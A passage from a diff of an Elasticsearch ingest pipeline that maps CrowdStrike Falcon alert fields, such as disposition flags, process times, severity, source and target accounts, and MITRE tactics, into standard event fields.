tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.mfa_required + tag: convert_pattern_disposition_details_mfa_required_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.mfa_required + type: boolean + if: ctx.json?.pattern_disposition_details?.mfa_required != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.operation_blocked + tag: convert_pattern_disposition_details_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.operation_blocked != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.policy_disabled + tag: convert_pattern_disposition_details_policy_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.policy_disabled != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.prevention_provisioning_enabled + tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled + type: boolean + if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.process_blocked + tag: convert_pattern_disposition_details_process_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.process_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.process_blocked != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.quarantine_file + tag: convert_pattern_disposition_details_quarantine_file_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file + type: boolean + if: ctx.json?.pattern_disposition_details?.quarantine_file != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.quarantine_machine + tag: convert_pattern_disposition_details_quarantine_machine_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine + type: boolean + if: ctx.json?.pattern_disposition_details?.quarantine_machine != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.registry_operation_blocked + tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_already_applied + tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_already_applied != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_failed + tag: convert_pattern_disposition_details_response_action_failed_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_failed != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_triggered + tag: convert_pattern_disposition_details_response_action_triggered_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_triggered != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.rooting + tag: convert_pattern_disposition_details_rooting_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.rooting + type: boolean + if: ctx.json?.pattern_disposition_details?.rooting != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.sensor_only + tag: convert_pattern_disposition_details_sensor_only_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.sensor_only + type: boolean + if: ctx.json?.pattern_disposition_details?.sensor_only != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.suspend_parent + tag: convert_pattern_disposition_details_suspend_parent_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent + type: boolean + if: ctx.json?.pattern_disposition_details?.suspend_parent != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.suspend_process + tag: convert_pattern_disposition_details_suspend_process_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.suspend_process + type: boolean + if: ctx.json?.pattern_disposition_details?.suspend_process != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_id + tag: convert_pattern_id_to_string + target_field: crowdstrike.alert.pattern_id + type: string + ignore_missing: true + - rename: + field: json.platform + tag: rename_platform + target_field: crowdstrike.alert.platform + ignore_missing: true + - rename: + field: json.poly_id + tag: rename_poly_id + target_field: crowdstrike.alert.poly_id + ignore_missing: true + - date: + field: json.process_end_time + tag: date_process_end_time + target_field: crowdstrike.alert.process_end_time + formats: + - UNIX + - UNIX_MS + if: ctx.json?.process_end_time != null && ctx.json.process_end_time != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.end + tag: set_process_end + copy_from: crowdstrike.alert.process_end_time + ignore_empty_value: true + - rename: + field: json.process_id + tag: rename_process_id + target_field: crowdstrike.alert.process_id + ignore_missing: true + - set: + field: process.entity_id + tag: set_process_entity_id + copy_from: crowdstrike.alert.process_id + ignore_empty_value: true + - convert: + field: crowdstrike.alert.process_id + tag: convert_alert_process_id_to_long + target_field: process.pid + type: long + ignore_missing: true + if: ctx.crowdstrike?.alert?.process_id != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.process_start_time + tag: date_process_start_time + target_field: crowdstrike.alert.process_start_time + formats: + - UNIX + - UNIX_MS + if: ctx.json?.process_start_time != null && ctx.json.process_start_time != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.start + tag: set_process_start + copy_from: crowdstrike.alert.process_start_time + ignore_empty_value: true + - rename: + field: json.product + tag: rename_product + target_field: crowdstrike.alert.product + ignore_missing: true + - convert: + field: json.protocol_anomaly_classification + tag: convert_protocol_anomaly_classification_to_long + target_field: crowdstrike.alert.protocol_anomaly_classification + type: long + if: ctx.json?.protocol_anomaly_classification != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.quarantined + tag: convert_quarantined_to_boolean + target_field: crowdstrike.alert.quarantined + type: boolean + if: ctx.json?.quarantined != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.quarantined_files + tag: rename_quarantined_files + target_field: crowdstrike.alert.quarantined_files + ignore_missing: true + - foreach: + field: crowdstrike.alert.quarantined_files + if: ctx.crowdstrike?.alert?.quarantined_files instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_quarantined_files_to_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.scan_id + tag: rename_scan_id + target_field: crowdstrike.alert.scan_id + ignore_missing: true + - rename: + field: json.scenario + tag: rename_scenario + target_field: crowdstrike.alert.scenario + ignore_missing: true + - convert: + field: json.seconds_to_resolved + tag: convert_seconds_to_resolved_to_long + target_field: crowdstrike.alert.seconds_to_resolved + type: long + if: ctx.json?.seconds_to_resolved != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.seconds_to_triaged + tag: convert_seconds_to_triaged_to_long + target_field: crowdstrike.alert.seconds_to_triaged + type: long + if: ctx.json?.seconds_to_triaged != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.severity + tag: convert_severity_to_long + target_field: crowdstrike.alert.severity + type: long + if: ctx.json?.severity != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.severity_name + tag: rename_severity_name + target_field: crowdstrike.alert.severity_name + ignore_missing: true + - script: + lang: painless + description: Script to set event.severity. + tag: set_event_severity_from_severity + if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null + source: |- + long severity = ctx.crowdstrike.alert.severity; + if (0 <= severity && severity < 20) { + ctx.crowdstrike.alert.severity_name = "info"; + } else if (20 <= severity && severity < 40) { + ctx.crowdstrike.alert.severity_name = "low"; + } else if (40 <= severity && severity < 60) { + ctx.crowdstrike.alert.severity_name = "medium"; + } else if (60 <= severity && severity < 80) { + ctx.crowdstrike.alert.severity_name = "high"; + } else if (80 <= severity && severity <= 100) { + ctx.crowdstrike.alert.severity_name = "critical"; + } + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + lang: painless + description: Script to set event.severity. + tag: set_event_severity_from_severity_name + if: ctx.crowdstrike?.alert?.severity_name instanceof String + source: |- + ctx.event = ctx.event ?: [:]; + String risk_score_value = ctx.crowdstrike.alert.severity_name; + if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) { + ctx.event.severity = 21; + } else if (risk_score_value.equalsIgnoreCase("medium")) { + ctx.event.severity = 47; + } else if (risk_score_value.equalsIgnoreCase("high")) { + ctx.event.severity = 73; + } else if (risk_score_value.equalsIgnoreCase("critical")) { + ctx.event.severity = 99; + } + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.sha1 + tag: rename_sha1 + target_field: crowdstrike.alert.sha1 + ignore_missing: true + - rename: + field: json.sha256 + tag: rename_sha256 + target_field: crowdstrike.alert.sha256 + ignore_missing: true + - set: + field: process.hash.sha1 + tag: set_process_hash_sha1 + copy_from: crowdstrike.alert.sha1 + ignore_empty_value: true + - set: + field: process.hash.sha256 + tag: set_process_hash_sha256 + copy_from: crowdstrike.alert.sha256 + ignore_empty_value: true + - append: + field: related.hash + value: '{{{crowdstrike.alert.sha1}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.sha1 != null + - append: + field: related.hash + value: '{{{crowdstrike.alert.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.sha256 != null + - convert: + field: json.show_in_ui + tag: convert_show_in_ui_to_boolean + target_field: crowdstrike.alert.show_in_ui + type: boolean + if: ctx.json?.show_in_ui != "" + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_account_azure_id + tag: rename_source_account_azure_id + target_field: crowdstrike.alert.source.account_azure_id + ignore_missing: true + - set: + field: cloud.account.id + tag: set_cloud_account_id + copy_from: crowdstrike.alert.source.account_azure_id + ignore_empty_value: true + - rename: + field: json.source_account_domain + tag: rename_source_account_domain + target_field: crowdstrike.alert.source.account_domain + ignore_missing: true + - set: + field: source.user.domain + tag: set_source_user_domain_from_alert_source_account_domain + copy_from: crowdstrike.alert.source.account_domain + ignore_empty_value: true + - append: + field: related.hosts + tag: append_source_user_domain_into_related_hosts + value: '{{{source.user.domain}}}' + allow_duplicates: false + if: ctx.source?.user?.domain != null + - rename: + field: json.source_account_name + tag: rename_source_account_name + target_field: crowdstrike.alert.source.account_name + ignore_missing: true + - set: + field: source.user.name + tag: set_source_user_name_from_alert_source_account_name + copy_from: crowdstrike.alert.source.account_name + ignore_empty_value: true + - append: + field: related.user + tag: append_source_domain_into_related_user + value: '{{{source.user.name}}}' + allow_duplicates: false + if: ctx.source?.user?.name != null + - rename: + field: json.source_account_object_guid + tag: rename_source_account_object_guid + target_field: crowdstrike.alert.source.account_object_guid + ignore_missing: true + - rename: + field: json.source_account_object_sid + tag: rename_source_account_object_sid + target_field: crowdstrike.alert.source.account_object_sid + ignore_missing: true + - rename: + field: json.source_account_sam_account_name + tag: rename_source_account_sam_account_name + target_field: crowdstrike.alert.source.account_sam_account_name + ignore_missing: true + - rename: + field: json.source_account_upn + tag: rename_source_account_upn + target_field: crowdstrike.alert.source.account_upn + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_source_account_upn_into_related_user + value: '{{{crowdstrike.alert.source.account_upn}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.source?.account_upn != null + - rename: + field: json.source_endpoint_account_object_guid + tag: rename_source_endpoint_account_object_guid + target_field: crowdstrike.alert.source.endpoint_account_object_guid + ignore_missing: true + - rename: + field: json.source_endpoint_account_object_sid + tag: rename_source_endpoint_account_object_sid + target_field: crowdstrike.alert.source.endpoint_account_object_sid + ignore_missing: true + - convert: + field: json.source_endpoint_address_ip4 + tag: convert_source_endpoint_address_ip4_to_ip + target_field: crowdstrike.alert.source.endpoint_address_ip4 + type: ip + if: ctx.json?.source_endpoint_address_ip4 != '' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip + value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null + - rename: + field: json.source_endpoint_host_name + tag: rename_source_endpoint_host_name + target_field: crowdstrike.alert.source.endpoint_host_name + ignore_missing: true + - set: + field: source.domain + tag: set_source_domain_from_alert_source_endpoint_host_name + copy_from: crowdstrike.alert.source.endpoint_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_source_domain_into_related_hosts + value: '{{{source.domain}}}' + allow_duplicates: false + if: ctx.source?.domain != null + - convert: + field: json.source_endpoint_ip_address + tag: convert_source_endpoint_ip_address_to_ip + target_field: crowdstrike.alert.source.endpoint_ip_address + type: ip + if: ctx.json?.source_endpoint_ip_address != '' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: source.ip + tag: set_source_ip_from_alert_source_endpoint_ip_address + copy_from: crowdstrike.alert.source.endpoint_ip_address + ignore_empty_value: true + - append: + field: related.ip + tag: append_source_ip_into_related_ip + value: '{{{source.ip}}}' + allow_duplicates: false + if: ctx.source?.ip != null + - convert: + field: json.source_endpoint_ip_reputation + tag: convert_source_endpoint_ip_reputation_to_long + target_field: crowdstrike.alert.source.endpoint_ip_reputation + type: long + if: ctx.json?.source_endpoint_ip_reputation != '' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_endpoint_sensor_id + tag: rename_source_endpoint_sensor_id + target_field: crowdstrike.alert.source.endpoint_sensor_id + ignore_missing: true + - convert: + field: json.source_ip_isp_classification + tag: convert_source_ip_isp_classification_to_long + target_field: crowdstrike.alert.source.ip_isp_classification + type: long + if: ctx.json?.source_ip_isp_classification != '' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_ip_isp_domain + tag: rename_source_ip_isp_domain + target_field: crowdstrike.alert.source.ip_isp_domain + ignore_missing: true + - rename: + field: json.source_products + tag: rename_source_products + target_field: crowdstrike.alert.source_products + ignore_missing: true + - rename: + field: json.source_vendors + tag: rename_source_vendors + target_field: crowdstrike.alert.source_vendors + ignore_missing: true + - date: + field: json.start_time + tag: date_start_time + target_field: crowdstrike.alert.start_time + formats: + - ISO8601 + if: ctx.json?.start_time != null && ctx.json.start_time != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.start + tag: set_event_start_from_alert_start_time + copy_from: crowdstrike.alert.start_time + ignore_empty_value: true + - rename: + field: json.status + tag: rename_status + target_field: crowdstrike.alert.status + ignore_missing: true + - rename: + field: json.tactic + tag: rename_tactic + target_field: crowdstrike.alert.tactic + ignore_missing: true + - append: + field: threat.tactic.name + tag: append_threat_tactic_name + value: '{{{crowdstrike.alert.tactic}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.tactic != null + - rename: + field: json.tactic_id + tag: rename_tactic_id + target_field: crowdstrike.alert.tactic_id + ignore_missing: true + - append: + field: threat.tactic.id + tag: append_threat_tactic_id + value: '{{{crowdstrike.alert.tactic_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.tactic_id != null + - rename: + field: json.tags + tag: rename_tags + target_field: crowdstrike.alert.tags + ignore_missing: true + - foreach: + field: crowdstrike.alert.tags + if: ctx.crowdstrike?.alert?.tags instanceof List + processor: + append: + field: tags + tag: append_alert_tags_into_tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - rename: + field: json.target_endpoint_host_name + tag: rename_target_endpoint_host_name + target_field: crowdstrike.alert.target.endpoint_host_name + ignore_missing: true + - set: + field: destination.domain + tag: set_destination_domain_from_alert_target_endpoint_host_name + copy_from: crowdstrike.alert.target.endpoint_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_destination_domain_into_related_hosts + value: '{{{destination.domain}}}' + allow_duplicates: false + if: ctx.destination?.domain != null + - rename: + field: json.target_domain_controller_host_name + tag: rename_target_domain_controller_host_name + target_field: crowdstrike.alert.target.domain_controller_host_name + ignore_missing: true + - set: + field: destination.user.domain + tag: set_destination_user_domain_from_alert_target_domain_controller_host_name + copy_from: crowdstrike.alert.target.domain_controller_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_destination_user_domain_into_related_hosts + value: '{{{destination.user.domain}}}' + allow_duplicates: false + if: ctx.destination?.user?.domain != null + - rename: + field: json.target_account_name + tag: rename_target_account_name + target_field: crowdstrike.alert.target.account_name + ignore_missing: true + - set: + field: destination.user.name + tag: set_destination_user_name_from_alert_target_account_name + copy_from: crowdstrike.alert.target.account_name + ignore_empty_value: true + - append: + field: related.user + tag: append_destination_user_name_into_related_user + value: '{{{destination.user.name}}}' + allow_duplicates: false + if: ctx.destination?.user?.name != null + - rename: + field: json.target_domain_controller_object_guid + tag: rename_target_domain_controller_object_guid + target_field: crowdstrike.alert.target.domain_controller_object_guid + ignore_missing: true + - rename: + field: json.target_domain_controller_object_sid + tag: rename_target_domain_controller_object_sid + target_field: crowdstrike.alert.target.domain_controller_object_sid + ignore_missing: true + - rename: + field: json.target_endpoint_account_object_guid + tag: rename_target_endpoint_account_object_guid + target_field: crowdstrike.alert.target.endpoint_account_object_guid + ignore_missing: true + - rename: + field: json.target_endpoint_account_object_sid + tag: rename_target_endpoint_account_object_sid + target_field: crowdstrike.alert.target.endpoint_account_object_sid + ignore_missing: true + - rename: + field: json.target_endpoint_sensor_id + tag: rename_target_endpoint_sensor_id + target_field: crowdstrike.alert.target.endpoint_sensor_id + ignore_missing: true + - rename: + field: json.target_service_access_identifier + tag: rename_target_service_access_identifier + target_field: crowdstrike.alert.target.service_access_identifier + ignore_missing: true + - rename: + field: json.technique + tag: rename_technique + target_field: crowdstrike.alert.technique + ignore_missing: true + - append: + field: threat.technique.name + tag: append_threat_technique_name + value: '{{{crowdstrike.alert.technique}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.technique != null + - rename: + field: json.technique_id + tag: rename_technique_id + target_field: crowdstrike.alert.technique_id + ignore_missing: true + - append: + field: threat.technique.id + tag: append_threat_technique_id + value: '{{{crowdstrike.alert.technique_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.technique_id != null + - set: + field: threat.framework + value: CrowdStrike Falcon Detections Framework + tag: set_threat_framework_cs + description: For Crowdstrike Falcon Detection tactics and/or that are prefixed with "CS" + if: >- + (ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("CS")) + || (ctx.crowdstrike?.alert?.technique_id != null && ctx.crowdstrike.alert.technique_id.startsWith("CS")) + || (ctx.crowdstrike?.alert?.tactic != null && ['malware','exploit','post-exploit','machine learning','custom intelligence','falcon overwatch','falcon intel','ai powered ioa','insecure security posture'].contains(ctx.crowdstrike.alert.tactic.toLowerCase())) + - set: + field: threat.framework + value: MITRE ATT&CK + tag: set_threat_framework_mitre + if: ctx.crowdstrike?.alert?.tactic_id != null && ctx.crowdstrike.alert.tactic_id.startsWith("TA") + - rename: + field: json.template_instance_id + tag: rename_template_instance_id + target_field: crowdstrike.alert.template_instance_id + ignore_missing: true + - date: + field: json.timestamp + tag: date_timestamp + target_field: crowdstrike.alert.timestamp + formats: + - ISO8601 + if: ctx.json?.timestamp != null && ctx.json.timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: '@timestamp' + tag: set_@timestamp_from_alert_timestamp + copy_from: crowdstrike.alert.timestamp + ignore_empty_value: true + - rename: + field: json.tree_id + tag: rename_tree_id + target_field: crowdstrike.alert.tree_id + ignore_missing: true + - rename: + field: json.tree_root + tag: rename_tree_root + target_field: crowdstrike.alert.tree_root + ignore_missing: true + - rename: + field: json.triggering_process_graph_id + tag: rename_triggering_process_graph_id + target_field: crowdstrike.alert.triggering_process_graph_id + ignore_missing: true + - rename: + field: json.type + tag: rename_type + target_field: crowdstrike.alert.type + ignore_missing: true + - rename: + field: json.rule_group_id + tag: rename_rule_group_id + target_field: crowdstrike.alert.rule_group_id + ignore_missing: true + - rename: + field: json.rule_group_name + tag: rename_rule_group_name + target_field: crowdstrike.alert.rule_group_name + ignore_missing: true + - rename: + field: json.rule_instance_created_by + tag: rename_rule_instance_created_by + target_field: crowdstrike.alert.rule_instance_created_by + ignore_missing: true + - rename: + field: json.rule_instance_id + tag: rename_rule_instance_id + target_field: crowdstrike.alert.rule_instance_id + ignore_missing: true + - rename: + field: json.rule_instance_name + tag: rename_rule_instance_name + target_field: crowdstrike.alert.rule_instance_name + ignore_missing: true + - rename: + field: json.rule_instance_version + tag: rename_rule_instance_version + target_field: crowdstrike.alert.rule_instance_version + ignore_missing: true + - rename: + field: json.overwatch_note + tag: rename_overwatch_note + target_field: crowdstrike.alert.overwatch_note + ignore_missing: true + - date: + field: json.overwatch_note_timestamp + tag: date_overwatch_note_timestamp + target_field: crowdstrike.alert.overwatch_note_timestamp + formats: + - ISO8601 + if: ctx.json?.overwatch_note_timestamp != null && ctx.json.updated_timestamp != '' + ignore_failure: true + - date: + field: json.updated_timestamp + tag: date_updated_timestamp + target_field: crowdstrike.alert.updated_timestamp + formats: + - ISO8601 + if: ctx.json?.updated_timestamp != null && ctx.json.updated_timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.user_id + tag: rename_user_id + target_field: crowdstrike.alert.user_id + ignore_missing: true + - set: + field: user.id + tag: set_user_id_from_alert_user_id + copy_from: crowdstrike.alert.user_id + ignore_empty_value: true + - rename: + field: json.user_name + tag: rename_user_name + target_field: crowdstrike.alert.user_name + ignore_missing: true + - set: + field: user.name + tag: set_user_name_from_alert_user_name + copy_from: crowdstrike.alert.user_name + ignore_empty_value: true + - append: + field: related.user + tag: append_user_id_into_related_user + value: '{{{user.id}}}' + allow_duplicates: false + if: ctx.user?.id != null + - append: + field: related.user + tag: append_user_name_into_related_user + value: '{{{user.name}}}' + allow_duplicates: false + if: ctx.user?.name != null + - rename: + field: json.user_principal + tag: rename_user_principal + target_field: crowdstrike.alert.user_principal + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_user_principal_into_related_user + value: '{{{crowdstrike.alert.user_principal}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.user_principal != null + + - grok: + field: crowdstrike.alert.name + patterns: + - "%{NOTSPACE:_username_from_name} on %{NOTSPACE:_hostname_from_name}" + ignore_missing: true + ignore_failure: true + - set: + field: user.name + copy_from: _username_from_name + if: ctx.user?.name == null || ctx.user.name == '' + ignore_empty_value: true + - append: + field: related.user + value: '{{{_username_from_name}}}' + allow_duplicates: false + if: ctx._username_from_name != null && ctx._username_from_name != '' + - set: + field: host.name + copy_from: _hostname_from_name + if: ctx.host?.name == null || ctx.host.name == '' + ignore_empty_value: true + - append: + field: related.hosts + value: '{{{_hostname_from_name}}}' + allow_duplicates: false + if: ctx._hostname_from_name != null && 